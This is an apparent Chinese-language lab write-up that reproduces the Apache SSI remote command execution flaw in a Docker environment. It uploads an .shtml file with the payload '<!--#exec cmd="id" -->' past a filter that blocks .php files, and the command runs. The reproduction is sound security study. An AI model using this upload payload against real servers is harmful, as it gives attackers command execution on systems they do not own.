Apache SSI 远程命令执行漏洞复现

一、漏洞描述

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令。

使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为"服务器端嵌入"或者叫"服务器端包含",是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

二、漏洞环境搭建与复现

1、使用docker搭建漏洞环境,启动环境

docker-compose build

docker-compose up -d

2、浏览器访问http://172.17.0.1:8080/upload.php,即可看到一个上传表单。

  Apache SSI 远程命令执行漏洞复现 Safe 第1张

3、上传一个php文件,提示不支持的上传的类型

  Apache SSI 远程命令执行漏洞复现 Safe 第2张

4、上传一个shell.shtml文件

<!--#exec cmd="id" -->

  Apache SSI 远程命令执行漏洞复现 Safe 第3张

5、浏览器访问上传的文件,下图可以看到成功执行代码,说明存在远程命令执行漏洞

  Apache SSI 远程命令执行漏洞复现 Safe 第4张

 

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄